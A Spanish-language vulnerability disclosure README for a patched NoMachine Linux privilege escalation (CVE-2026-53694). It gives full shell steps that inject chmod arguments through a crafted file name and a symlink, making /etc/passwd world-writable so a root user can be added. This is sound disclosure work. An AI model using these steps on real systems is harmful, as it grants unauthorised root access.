
Exploit de prueba de concepto y documentación para CVE-2026-53694, una escalada de privilegios local en NoMachine para Linux mediante inyección de argumentos en nxchmod.sh, permitiendo acceso root a través de manipulación de enlaces simbólicos.
Este repositorio contiene el informe y la Prueba de Concepto (PoC) para CVE-2026-53694, una vulnerabilidad de Escalada de Privilegios Local (LPE) en NoMachine para Linux.
Debido a una neutralización incorrecta de los delimitadores de argumentos en el script nxchmod.sh, un usuario local sin privilegios puede inyectar argumentos en un comando del sistema ejecutado como root. Combinando esta inyección de argumentos con un enlace simbólico, un atacante puede sobrescribir archivos críticos del sistema (como /etc/passwd) y escalar sus privilegios a root.
Esta vulnerabilidad ha sido completamente corregida por el proveedor.
Encontrar esta vulnerabilidad fue un proceso de prueba, error y una revelación nocturna. Así es como se desarrolló el descubrimiento:
/usr/NX/scripts/restricted/nxchmod.sh era ejecutado periódicamente por el usuario root para gestionar permisos en directorios específicos.chmod a+rw a archivos. Pensé: Si controlo el destino, ¿puedo usar un enlace simbólico para hacer /etc/passwd modificable? Probé un enlace simbólico estándar (ln -s /etc/passwd /tmp/asdf), pero falló. El sticky bit de Linux en directorios como /tmp evita que el usuario root siga ciegamente un enlace simbólico creado por otro usuario.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. El script tomaba el nombre de archivo literal y lo pasaba directamente a chmod.X1234 -R -L. Cuando el script se ejecutó, el comando chmod expandió esto como argumentos en lugar de una única ruta de archivo.-L (seguir enlaces simbólicos) y -R (recursivo) en el comando chmod a través del nombre de archivo, obligué al propio binario chmod a resolver y seguir el enlace simbólico que creé en el directorio, evitando completamente la protección del sticky bit./etc/passwd se volvió modificable (a+rw), simplemente pude añadir un nuevo usuario root al archivo y hacer su a él.La vulnerabilidad surge de cómo NoMachine maneja los permisos para los sockets de X11/Wayland. El script nxchmod.sh es generado por el demonio nxserver.bin ejecutándose como root.
La ejecución vulnerable tiene este aspecto:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Si un atacante crea una estructura de directorios y un archivo llamado X1234 -R -L, el comando resultante ejecutado por root se convierte en:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Cuando se coloca un enlace simbólico que apunta a /etc/passwd dentro del directorio X1234, los argumentos inyectados -R y -L obligan a chmod a seguir recursivamente el enlace simbólico y otorgar permisos globales de lectura/escritura al archivo objetivo.
Para que este exploit funcione, el sistema objetivo debe cumplir las siguientes condiciones:
Puede reproducir esta vulnerabilidad manualmente usando comandos de shell o automáticamente con el script Python proporcionado.
Navegue a /tmp/.X11-unix/ y ejecute los siguientes comandos para crear la estructura de directorios maliciosa.
cd /tmp/.X11-unix/
# 1. Configuración de la explotación
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Espere a que se ejecute nxchmod.sh (puede tardar hasta 60 segundos).
# Verifique que los permisos de /etc/passwd hayan cambiado a -rw-rw-rw-
# Ahora puede editar /etc/passwd para añadir un usuario root.
Una vez que haya verificado la vulnerabilidad y escalado privilegios, ejecute los siguientes comandos de limpieza para restaurar la estabilidad del sistema y eliminar artefactos:
# 2. Limpieza
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Se proporciona un exploit automatizado completo en poc.py. Este script verifica los requisitos de Wayland, configura el enlace simbólico, espera el ciclo de ejecución de nxchmod.sh e inyecta un nuevo usuario root (gg) en /etc/passwd.
Para ejecutar el exploit:
python3 poc.py
Esta vulnerabilidad ha sido solucionada por NoMachine. Los usuarios deben actualizar a las siguientes versiones o posteriores: